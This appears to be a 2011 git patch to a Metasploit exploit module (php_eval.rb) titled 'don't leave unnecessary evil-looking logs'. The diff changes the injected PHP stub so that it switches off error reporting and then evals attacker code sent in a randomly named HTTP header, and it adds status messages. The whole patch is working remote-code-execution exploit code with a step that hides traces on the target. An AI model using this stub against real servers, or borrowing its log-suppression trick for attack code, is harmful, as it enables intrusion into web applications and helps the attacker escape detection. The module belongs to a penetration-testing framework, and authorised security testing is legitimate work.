From 486c0556d0afbda3dec41828f1ea78c92316c0e0 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 12 May 2011 22:46:43 +0000 Subject: [PATCH] don't leave unnecessary evil-looking logs git-svn-id: file:///home/svn/framework3/trunk@12604 4d416f70-5f16-0410-b530-b9f4589650da --- modules/exploits/unix/webapp/php_eval.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/php_eval.rb b/modules/exploits/unix/webapp/php_eval.rb index 56594d522f..018acf3a5c 100644 --- a/modules/exploits/unix/webapp/php_eval.rb +++ b/modules/exploits/unix/webapp/php_eval.rb @@ -74,9 +74,12 @@ class Metasploit3 < Msf::Exploit::Remote timeout = 0.01 headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10) - stub = "eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);" + stub = "error_reporting(0);eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);" uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub)) + print_status("Sending request for: #{uri}") + print_status("Payload will be in a header called #{headername}") + response = send_request_raw({ 'global' => true, 'uri' => uri,